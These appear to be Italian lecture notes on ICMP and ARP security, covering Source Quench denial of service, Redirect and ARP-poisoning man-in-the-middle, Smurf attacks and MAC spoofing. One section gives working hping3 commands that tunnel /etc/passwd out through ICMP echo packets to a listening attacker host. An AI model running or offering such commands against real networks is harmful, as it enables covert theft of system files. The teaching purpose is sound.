Protocolli Ausiliari
ICMP
Internet Control Message Protocol
Protocollo ausiliario ma obbligatorio
Messaggi in datagrammi IP - su Socket Raw
Compiti:
- Feedback per problemi di recapito
- Incrementare l'efficienza globale di rete
Utilizzato in molti attacchi hacker
- Molti messaggi ICMP sono di solito disabilitati
- Alcuni messaggi ICMP sono ormai obsoleti
- Altri metodi per ottenere gli stessi servizi
- Riflettono l'entusiasmo iniziale per lo sviluppo della rete
Formato Messaggi ICMP
Identificativi Messaggi ICMP
Vari tipi di messaggi ICMP, identificati dallo ICMP message type
ICMP Source Quench
Uno hacker può causare il rallentamento del traffico fin quasi a zero (Diniego di Servizio)
ICMP Redirect
Uno hacker può modificare il percorso dei pacchetti, quindi leggerli o modificarli (Man in the Middle - MITM)
ICMP Echo Request/Reply
- Il firewall fa passare i ping in uscita e i pong in ingresso
- Il traffico è sbilanciato
- Il contenuto dei datagrammi non è ispezionato
Può essere un canale di comunicazione stealth (subdolo)
Trasferimento file su ICMP
Il controller remoto che ha infettato una macchina locale deve poter comunicare con essa, per esempio per trasferire files di materiale confidenziale.
Spesso il ping ha il permesso di transito dal firewall. Questo corrisponde ai tipi ICMP (Internet Control Message Protocol):
- 8 - Echo Request (“ping”)
- 0 - Echo Reply (“pong”)
Purtroppo il payload del ping arriva a 64 Kbyte. Usandone 500 per pacchetto per non causare sospetti si può comunque trasferire un file.
Occorre avere nella rete un Intrusion Detection System ben calibrato.
Uso di hping3
Lato server (hacker):
hping3 192.168.10.66 --listen signature --safe --icmp
- Output su standard output
Lato client (complice oltre il firewall):
hping3 192.168.10.44 --icmp –icmptype 8 -d 100 \
--sign signature --file /etc/passwd --safe
-d dimensione
del corpo del pacchetto--listen signature
accetta solo i pacchetti firmati 'signature'--sign signature
invia oacchetti firmati 'signature' (La firma è una stringa all'inizio del corpo del pacchetto)--file nome
del file trasferito--safe
ritrasmissione dei pacchetti persi
Attacco Smurf
Distributed Denial of Service
Problema Generico di ICMP
Non vi è garanzia che il mittente sia vero.
Il primo ICMP ricevuto è considerato valido.
Ma ignorare gli ICMP può rallentare le operazioni.
- Destination Unreachable
- Il mittente continua a provare e attende un timeout prima di arrendersi
- Time To Live Exceeded
- Il mittente continua a inviare pacchetti, li perde poichè è un possibile loop di routing, e continua ad intasare la rete
- Source Quench
- La perdita di pacchetti genera ritrasmissioni ed ulteriore intasamento
Man In The Middle
Man On The Side
Un nodo non sa se riceverà responsi duplicati.
Il comportamento è:
- accetta il primo responso
- ignora eventuali altri
Il mezzo trasmissivo è broadcast (es. WiFi).
K non può impedire che il server risponda, ma può rispondere per primo.
Address Resolution Protocol
Esempio:
- Richiesta: Qual’è l’indirizzo MAC corrispondente ad IP=161.27.112.34 ? (
who-has
) - Responso: L’indirizzo è 00:0A:F2:54:15:A1 (
is-at
)
ARP Cache Poisoning
- ARP pone il risultato ottenuto in una cache
- Durata: 2 minuti
- Malware può fornire un falso messaggio di responso ARP
- MAC di un altro nodo di rete
- MAC inesistente
- Se anche il nodo vero risponde il richiedente tiene il primo responso che riceve
- Soluzione: tabella
/etc/ethers
In generale mai affidare la sicurezza sull’indirizzo MAC
Linux lo può cambiare: macchanger